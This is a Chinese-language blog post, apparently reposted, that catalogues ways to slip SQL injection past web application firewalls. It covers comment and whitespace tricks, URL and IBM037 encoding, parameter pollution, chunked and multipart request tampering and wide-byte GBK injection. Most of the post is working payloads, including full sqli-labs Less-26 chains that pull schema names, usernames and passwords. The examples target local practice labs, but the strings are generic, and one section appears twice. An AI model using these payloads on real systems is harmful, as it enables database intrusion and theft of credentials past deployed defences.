赞
踩
(1)寻找源网站绕过 WAF 检测:主要是针对云 WAF ,找到源网站的真实地址,进行绕过,有点像 CDN(用超级ping检测网站是否存在 CDN 节点);
(2)通过同网段绕过 WAF 防护:在同一网段中,可能经过的数据不会经过云 WAF,从而实现绕过;
(1)一般的 WAF 的执行需要优先考虑业务优先的原则,所以对于构造较大、或超大的数据包可能不会进行检测,从而实现绕过 WAF;
(1)由于协议未覆盖,从而绕过 WAF:比如由于业务需要,只对 GET 型数据进行检测,POST型数据选择忽略(一般是上传图片进行检测);
(2)参数污染:
?id=1&id=2 它的 WAF 可能只对id=1进行检测,这时候可以在 id=2 的位置进行sql注入测试;
(1)使用 sql 注释符绕过:
union/**/select 我们将 union select 之间的空格用注释符进行替换(适用于对 union select 之间的空格进行检测的情况);
- /**/是注释符,也可以当作一个空格来用:
-
- 对于select * from users;
-
- /*select * from users;*/是对语句进行注释
-
- select/**/*/**/from/**/users; /**/相当于一个空格
- //下面两句代码执行结果是一样的
- select 1,2,3;
-
- select 1,2,/*12333333*/3;
- select /*! 1,2,3*/;
-
- select /*! 1,2,3*/,4,5;
-
- select * from users where id=-1 /*! union select 1,2,3*/;
注意:!后面是有一个空格键的;
(2)使用空白符绕过:
- mysql 空白符的绕过:
- %09(tab键,水平)
- %0A 或 %0a(新建一行)
- %0B 或 %0b(tab键,垂直)
- %0C 或 %0c(新建一页)
- %0D 或 %0d(return 功能)
- %A0 或 %a0(空格键)
- /**/(注释符)
- %20(空格)
-
- 注意:
- (1)%25 其实就是百分号,%25A0 就是空白符;
- (2)多个空白符可以一起使用
(3)使用函数分隔符号:例如对函数 concat(),有时会对这个函数进行过滤,可以对其进行分割来实现绕过:
- concat%2520(
- concat%250c(
- concat%25a0(
- concat/**/(
WAF 可能对 id=1 可以检测,但是 id=1E0,id=1.0,id=\N 可能就无法检测
- extractvalue();
- updatexml();
- GeometryCollection((select*from(select*from(select@@version)f)x));
- polygon((select*from(select name const(version(),1))x));
- linestring();
- multipoint();
- multilinestring();
- multipolygon();
- select {x 1};
- select {x schema_name} from {x information_schema.schemata};
(1)若对关键字 and、or、union 等进行了过滤,可以考虑使用大小写混合的方法:oR,UnioN,AnD;
- 在sql语句中,不区分大小写
- seLeCT 1,2,3;
注意:但是很多时候有函数会部分大小写进行过滤,这个时候可以用双写的方法;
OORr 有时会被解析为 or
eg:sqli_labs 第25关:
?id=-1' aANdnd updatexml(1,concat(0x7e,database(),0x7e),1)--+
- 网页中输入需用 url 编码
- and 替换为 %26%26(&&) ,or 替换为 || ,like 替换 = ,<> 等价于 != 等
- select * from users;
- select * from security.users;
- select * from usres where id=-1 union distinct select 1,2,3;
- select * from usres where id=-1 union all select 1,2,3;
- %00 是截断字符,有些 waf 遇到 %00 会自动截断,从而不会检测后面的内容
-
- asp/iis 所有出现的参数用逗号连接
- php/apache 仅保留最后一次出现的参数
- jsp 仅保留第一次出现的参数
- perl 仅保留第一次出现的参数
- substr(database(),1,1)
- substr(database() from 1 for 1
- select * from users where id=-1 union select 1,2,3;
- select * from users where id=-1 union select * from (select 1)a join (select 2)b join (select 3)c;
-
- select * from users where id=-1 union select * from (select 1)a join (select version())b join (select database())c;
- 1、使用 like
- select * from users where id like 1 and (select users like '%xxx%');
- 2、使用 rlike 或 regexp(后跟正则表达式)
- select * from users where username='^a';
- limit 0,1 和 limit 1 等效
- limit 0,2 和 limit 2 等效
- limit 2,1 和 limit 1 offset 2 等效
- limit 2,2 和 limit 2 offset 2 等效
- limit 2,3 和 limit 3 offset 2 等效
select * from users where id=1 && 2=1+1;
- 可用 16 进制,也可以用 10 进制 ascii
- select if((substr(database(),1,1)=0x73),sleep(3),1);
- select if((ascii(substr(database(),1,1))=115),sleep(3),1);
html(unicode)不行,有时候一次编码绕不过 waf ,这时候可以进行二次编码;
- 每一次在网页中输入 url 编码的时候,
- 浏览器会进行第一次编码,后端框架会进行第一次解码,
- 若是 waf 中存在第二次解码,那么就存在二次编码绕过
- ?id=1&username=admin
- 若直接在 id 后或 username 后使用 union select 会被 waf 拦截
- 可以使用多参数拆分注入来进行尝试
- ?id=1&/*username=*/ union select 1,2,3,version()--+
- 使用 polygon 来绕过 updatexml
- select polygon((select * from (select * from (select @@version())f)x));
(1)使用 burpsuite 配合手工进行测试,测试成功再用脚本进行处理;
- eg:/*sdfdfsagsagds*/中的字符,你不知道是要添加多少的时候是可绕过的,
- 可以用 burpsuite 进行测试
(2)可以这样绕过,* 1000 可以让 0xB 增加 1000 次
也可以:
也可以:
判断是否是分块传输,要看 http 头里是否有 Transfer-Encoding:chunked
使用 Burpsuite 的插件,但是这样绕过我在本地靶场实验不成功,在虚拟机上搭建的靶场实验能成功。
如果它匹配到 url 上有诸如 /admin.php 之类的字段,它会把它当作白名单上的对象,因而可以进行绕过;
- 白名单常见目录:
- /admin
- /admin.php
- /phpmyadmin
-
- http://localhost:805/Less-1/?dfsa=/admin.php&id=1
- http://localhost:805/Less-1/index.php/admin.php?id=1
- 静态文件例如:
- jpg,png,gif,css,js等,waf 可能不会对他们进行检测从而绕过
-
- http://localhost:805/Less-1/?dfsa=/1.jpg&id=1
- http://localhost:805/Less-1/index.php/1.jpg?id=1
- http://localhost:805/Less-1/index.php/1.jpg=/1.jpg?id=1
- 有些 waf 只会对第二个参数进行检测,然后拦截而忽视了第一个包造成的影响
-
- 1、先在第一个包中添加注入信息,修改包字段的长度
- 2、添加第二个包
- 3、把 burpsuite Update Content-Length 的勾去掉
- 4、把 Connection 字段的 close 改成 keep-alive
-
- eg:
- POST /Less-11/ HTTP/1.1
- Host: localhost:805
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 54
- Origin: http://localhost:805
- Connection: keep-alive
- Referer: http://localhost:805/Less-11/
- Cookie: hVXDm_admin_username=f63fAx2pMVYaFfClEcdt1FQdFQKS3aLjaaEqZTU1udB4oKk; hVXDm_siteid=b5753uz_C8BkPDI9iTcC6GGo5E-Dkhy5BxAHzSaZ; hVXDm_userid=783fLkV2pW5LsrwPDOQHidJRchqcxwk9BmJJHwDD; hVXDm_admin_email=e0f1aYevTWRwtJLurltK6Wpc1dWsuKMPTN_vz_LnrSdw4gjXjzyF9TSCyzlm; hVXDm_sys_lang=45c0Vc-Kv34Fh9qJACUyHZR-6yk1y-gC2fOHpOws5xtU4Q; security_level=0; PHPSESSID=1mngtpfh8kkk7aa2tks4d05dhm
- Upgrade-Insecure-Requests: 1
- Sec-Fetch-Dest: document
- Sec-Fetch-Mode: navigate
- Sec-Fetch-Site: same-origin
- Sec-Fetch-User: ?1
- uname=ad' union select 1,2#&passwd=admin&submit=SubmitPOST /Less-11/ HTTP/1.1
- Host: localhost:805
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 38
- Origin: http://localhost:805
- Connection: close
- Referer: http://localhost:805/Less-11/
- Cookie: hVXDm_admin_username=f63fAx2pMVYaFfClEcdt1FQdFQKS3aLjaaEqZTU1udB4oKk; hVXDm_siteid=b5753uz_C8BkPDI9iTcC6GGo5E-Dkhy5BxAHzSaZ; hVXDm_userid=783fLkV2pW5LsrwPDOQHidJRchqcxwk9BmJJHwDD; hVXDm_admin_email=e0f1aYevTWRwtJLurltK6Wpc1dWsuKMPTN_vz_LnrSdw4gjXjzyF9TSCyzlm; hVXDm_sys_lang=45c0Vc-Kv34Fh9qJACUyHZR-6yk1y-gC2fOHpOws5xtU4Q; security_level=0; PHPSESSID=1mngtpfh8kkk7aa2tks4d05dhm
- Upgrade-Insecure-Requests: 1
- Sec-Fetch-Dest: document
- Sec-Fetch-Mode: navigate
- Sec-Fetch-Site: same-origin
- Sec-Fetch-User: ?1
-
- uname=admin&passwd=admin&submit=Submit
- HTTP头中的Content-Type字段用于指示HTTP消息正文的媒体类型(即数据的类型)
- 以下是一些常见的Content-Type模式:
- text/plain:纯文本,没有特定格式或编码
- text/html:HTML文档,用于Web页面
- text/css:Cascading Style Sheets(CSS)文档,用于定义网页的样式和布局
- application/json:JSON格式的数据,通常用于数据交换
- application/xml:XML格式的数据,通常用于数据交换或配置文件
- application/pdf:Adobe PDF文档,用于文档传输和阅读
- image/jpeg:JPEG格式的图像
- image/png:PNG格式的图像
- image/gif:GIF格式的图像
- audio/mpeg:MPEG音频文件
- video/mp4:MP4视频文件
- application/octet-stream:二进制数据流,通常不指定特定的媒体类型
- multipart/form-data:用于HTML表单上传文件时的媒体类型
- application/x-www-form-urlencoded:HTML表单提交时的默认媒体类型,数据以键值对的形式编码
eg: 以 pikachu 的 post 注入为例:
(1)先编写一个前端界面,用于上传 payload
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <title>Title</title>
- </head>
- <body>
- <!-- action 指定目标, method 指定目标的上传方式,enctype 指定数据类型 -->
- <form action="http://localhost:840/vul/sqli/sqli_id.php" method="post" enctype="multipart/form-data">
- <!-- name 需要与目标代码中的一致 -->
- <input type="text" name="id">
- <input type="submit" name="submit" value="submit">
-
- </form>
-
- </body>
- </html>
(2)然后点击提交,抓包,此时就可以发现包内容变成了这样:
(3)操作方法1
- 此时还可以复制一遍,变成这样,在两个位置处都进行注入尝试:
- Content-Disposition: form-data; name="id"
-
- 543423 or 1=1--
- -----------------------------2166519827243386053442194380
- Content-Disposition: form-data; name="id"
-
- 543423 or 1=1--
- -----------------------------2166519827243386053442194380
-
- 有时候 waf 会只检测第一个参数,而忽视了第二个参数,然而真正起到危害作用的是第二个参数
(4)操作方法2,添加一个标签:
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <title>Title</title>
- </head>
- <body>
- <!-- action 指定目标, method 指定目标的上传方式,enctype 指定数据类型 -->
- <form action="http://localhost:840/vul/sqli/sqli_id.php" method="post" enctype="multipart/form-data">
-
- <input type="file" name="file">
- <!-- name 需要与目标代码中的一致 -->
- <input type="text" name="id">
- <input type="submit" name="submit" value="submit">
-
- </form>
-
- </body>
- </html>
此时 http 请求内容就增加了大量的乱码,在一些时候也可以绕过 waf ;
(5)操作方法3
此时对 Http 的请求数据包可以进行一些微调,多尝试,也可能可以绕过 waf
我这里把 form-data; 删掉
在后面添加乱码
以上都不会出错
- (1)正常使用 order by
- select * from users where id=-1 order by 4
- (2)使用 into
- select * from users where id=-1 into @a,@b,@c,@d
- (3)使用 group by
- select * from users where id=-1 group by 4
字段数不同时候会报错:
post 请求和 get 请求可能设定了不同的匹配规则,变化请求方式有可能绕过waf;
有时候程序是 json 提交参数,程序也是 json 接收后再进行拼接,json 若不被拦截,就可进行绕过
- 设置 Content-Type: application/json
- 设置 Content-Type: text/xml 也是一样的道理
- (1)换行绕过
- select * from users where id=1 union
- /*
- asdf
- wqr
- tqw
- tqw
- yter
- ddhf
- sdg
- sb234
- */
- distinct select 1,2,user();
-
- (2)特殊符号绕过:
- sel<>ect 尖括号替换为空
- sel/**/ect 注释符替换为空
- /*! select*/ 内联注释
- /*! %73elEct*/ 内联注释和url编码绕过
- selec%250at 使用空格符绕过
- sele%ct 使用 % 绕过
- /*!50000union*//*!50000select*/ 1,2,3;
- /*!40000union*//*!40000select*/ 1,2,3;
- union all select 1,2
- union distince select 1,2
- %0aunion%0aselect 1,2
- %250aunion%250aselect 1,2
- %09union%09select 1,2
- %0caunion%0cselect 1,2
- %0daunion%0dselect 1,2
- %0baunion%0bselect 1,2
- %0d%0aunion%0d%0aselect 1,2
- --+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2
- /*!12345union*//*!12345select*/1,2;
- /*中文*/union/*中文*/select/*中文*/1,2;
- /* */union/* */select/ */1,2;
- /*!union*//*!00000all*//*!00000select*/1,2
-
- (3)大小写绕过:
- UniOn SeLect
-
- (4)添加模糊查询语句进行绕过
通常 waf 只识别他所能识别的编码,比如只能识别 utf-8 ,但是服务器可以识别更多的编码
- 1、在 http 请求包修改 Content-Type 的 charset 变量的参数值为:ibm037
- 2、更改字段内容的编码为 ibm037 ,以下是使用 python 编写的脚本:
-
- import urllib.parse
-
- string = input("请输入需要加密的的字符串:")
-
- res = urllib.parse.quote(string.encode('ibm037'))
-
- print(res)
- 原payload:?id=2341 or 1=1 --+
- 进行部分编码后:?id=2341 o%72 1=1 --+
-
- 原payload: ?id=2341 union select 1,version() --+
- 进行部分编码后:?id=2341 un%69%6fn se%6c%65ct 1,ver%73%69on() --+
- 若拦截了函数 user() ,可以使用注释符 /**/ 进行绕过
- select * from users where id=1 union select 1,2,user/**/()
- 使用 \N 就是 NULL 的意思,还可以绕过空格符
- select * from users where id=\Nunion select 1,2,3,\N;
- select * from users where id=\Nunion select 1,2,3,\Nfrom users;
在 mysql 中,存在一个 sys 库,里面存放有一些视图,我们可以通过直接查询这些视图来获取我们想要的数据,这个绕过需要考虑用户到用户的权限。
常用视图:
(1)schema_auto_increment_columns
这里面存在的表中都有自增的 ID
(2) x$ps_schema_table_statistics_io
(3)schema_table_statistics_with_buffer
类似的视图还有很多
- 大致流程:
- select * from users;
- select 1,2,3 union select * from users;
- select `3` from (select 1,2,3 union select * from users)a;
- 也可以:
- select chunchun from (select 1 as cy,2 as nannan,3 as chunchun union select * from users)c;
eg: sqli-labs
先在命令行中确认命令没有出错:
进行注入:
若页面存在报错,也可以直接把列名通过报错显示出来:
(1)
- 获取第一列的列名:
- select * from users where id=-1 union select * from (select * from users as a join users as b)c;
(2)
- 获取第二列的列名:
- select * from users where id=-1 union select * from (select * from users as a join users as b using(id))c;
(3)
- 获取第三列的列名:
- select * from users where id=-1 union select * from (select * from users as a join users as b using(id,username))c;
- (1)使用 like 绕过:
- select * from users where id=-1 like "%0a%23" /*!union select*/1,2,3;
- (2)使用 regexp 绕过:
- select * from users where id=-1 regexp "%0a%23" /*!union select*/1,2,3;
-
- %0a 使用截断,%23 添加注释
- (1)使用注释和垃圾字符绕过:
- /*!50001database /*@--|*//*@--|*//*@--|*/()*/
- /*!50001database /*@--|*//*@--|*//*@--|*/--+%0a()*/
- (2)在 database() 的括号内添加字符进行绕过:
- ?id=1+regexp+"%a0%23"+/*!11144union+%0A+select+*/1,database(%0a+/*!11144*/)
- // 如果传参不是Linestring就会报错,如果传参是已知字段名,就会爆库,表,字段名
- select * from test where id=1 and Polygon(id);
43、 利用不存在的函数爆出库名
select * from users where id=1-a();
如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意
- ?id=1%af' 报错说明是单引号注入
-
- ' 前会被添加 \ 进行转义, \ 在进入 mysql 后会被转码作 %5c,
- %df%5c 会被整体看作是一个字符,从而保留了 '
-
- 关于%df是几个字节的字符?
- %df是一个URL编码中的字符转义序列,
- 表示一个字节的十六进制数0xDF,即十进制数223。
- 在UTF-8编码中,这个字节表示一个非ASCII字符,
- 而在GBK编码中,它表示一个汉字或其他非ASCII字符。
- 需要注意的是,UTF-8和GBK都是变长编码方式,一个字符可以由一个或多个字节组成。
- 在UTF-8中,一个汉字通常由3个字节组成,
- 而在GBK中,一个汉字通常由2个字节组成。
- 因此,如果%df前面或后面的字符也是非ASCII字符,
- 那么%df就不再表示一个单独的字符,而是与前面或后面的字符一起组成一个多字节字符。
- ?id=1%aa%5c'
- ?id=1%aa%5c%5c'
- ?id=1%aa%5c%5c%5c'
- 都可以让 ' 独立出来,实现 sql 注入
39、宽字节注入:如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意
- ?id=1%af' 报错说明是单引号注入
-
- ' 前会被添加 \ 进行转义, \ 在进入 mysql 后会被转码作 %5c,
- %df%5c 会被整体看作是一个字符,从而保留了 '
-
- 关于%df是几个字节的字符?
- %df是一个URL编码中的字符转义序列,
- 表示一个字节的十六进制数0xDF,即十进制数223。
- 在UTF-8编码中,这个字节表示一个非ASCII字符,
- 而在GBK编码中,它表示一个汉字或其他非ASCII字符。
- 需要注意的是,UTF-8和GBK都是变长编码方式,一个字符可以由一个或多个字节组成。
- 在UTF-8中,一个汉字通常由3个字节组成,
- 而在GBK中,一个汉字通常由2个字节组成。
- 因此,如果%df前面或后面的字符也是非ASCII字符,
- 那么%df就不再表示一个单独的字符,而是与前面或后面的字符一起组成一个多字节字符。
- ?id=1%aa%5c'
- ?id=1%aa%5c%5c'
- ?id=1%aa%5c%5c%5c'
- 都可以让 ' 独立出来,实现 sql 注入
(1)sqli_labs 第26关,此关屏蔽了符号如下:
- function blacklist($id)
- {
- $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
- $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
- $id= preg_replace('/[\/\*]/',"", $id); //strip out /*
- $id= preg_replace('/[--]/',"", $id); //Strip out --
- $id= preg_replace('/[#]/',"", $id); //Strip out #
- $id= preg_replace('/[\s]/',"", $id); //Strip out spaces
- $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
- return $id;
- }
在没有空格的情况下:
?id=1' || updatexml(1,concat(0x7e,database(),0x7e),1) || '1'='1
- less-26 实际注入语句
-
- ?id=1' || updatexml(1,concat(0x7e, substr ((select (group_concat(schema_name) ) from (infoORrmation_schema.schemata) ) ,63) ,0x7e),1) || '1'='1
-
- ?id=1' || updatexml(1,concat(0x7e, substr ((select (group_concat(column_name) ) from (infoORrmation_schema.columns) where (table_name='users') ) ,1) ,0x7e),1) || '1'='1
-
- ?id=1' || updatexml(1,concat(0x7e, substr ((select (group_concat(username,id,passwoORrd) ) from (users) ) ,1) ,0x7e),1) || '1'='1
- less-26 实际注入语句
-
- ?id=1' %a0 union %a0 select %a0 1,2,3,4 || '1'='1
-
- ?id=100000' %a0 union %a0 select %a0 1,database(),database() AANDND '1'='1
-
- ?id=100000' %a0 union %a0 select %a0 1, (select %a0 group_concat(schema_name) from %a0 infoORrmation_schema.schemata) ,database() AANDND '1'='1
-
- ?id=100000' %a0 union %a0 select %a0 1, (select %a0 group_concat(table_name) from %a0 infoORrmation_schema.tables %a0 where %a0 table_schema='security' ) ,database() AANDND '1'='1
-
- ?id=100000' %a0 union %a0 select %a0 1, (select %a0 group_concat(column_name) from %a0 infoORrmation_schema.columns %a0 where %a0 table_name='users' ) ,database() AANDND '1'='1
-
- ?id=100000' %a0 union %a0 select %a0 1, substr ((select %a0 group_concat(username,id,passwoORrd) from %a0users ),1) ,database() AANDND '1'='1
补充:
(1) elt(index,a,b,c,...) 函数,index的数值相当于后面a,b,c的索引,index 为 1时,即返回 a,为 2时,即返回 b;
(2)若对引号添加了转义,例如指定表名时:
select * from users where username='xcc';
就要使用16进制对单引号进行绕过:
select * from users where username=0x786363;
(3)mid() 与 substr() 一模一样
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。